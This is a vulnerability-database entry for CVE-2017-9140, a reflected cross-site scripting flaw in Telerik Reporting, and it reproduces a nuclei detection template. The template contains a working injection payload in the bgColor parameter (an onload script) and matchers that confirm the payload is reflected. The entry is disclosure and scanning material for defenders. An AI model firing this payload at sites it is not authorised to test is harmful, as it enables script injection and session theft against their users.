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Reflected XSS - Telerik Reporting Module

🗓️ 12 Jun 2026 03:02:50Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 174 Views

Cross-site scripting vulnerability in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd. Successful exploitation could lead to session hijacking, defacement of web pages, or theft of sensitive information. Upgrade to application version 11.0.17.406 (2017 SP2) or later

Related
Refs
Code
id: CVE-2017-9140

info:
  name: Reflected XSS - Telerik Reporting Module
  author: dhiyaneshDk
  severity: medium
  description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
  reference:
    - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9140
    - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
    - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
    - https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9140
    cwe-id: CWE-79
    epss-score: 0.04838
    epss-percentile: 0.89759
    cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: progress
    product: telerik_reporting
  tags: cve2017,cve,xss,telerik,progress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '#000000"onload="prompt(1)'
          - 'Telerik.ReportViewer.axd?name=Resources'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220633e73ee8200f5e601deb721294546039f32f202344dcd0ed11e81d508c8a9d00220620e6c89c699a94559788631470d4ea875a5be505d76eb85ddade7730509934a:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 24.3
CVSS 36.1
EPSS0.04838
174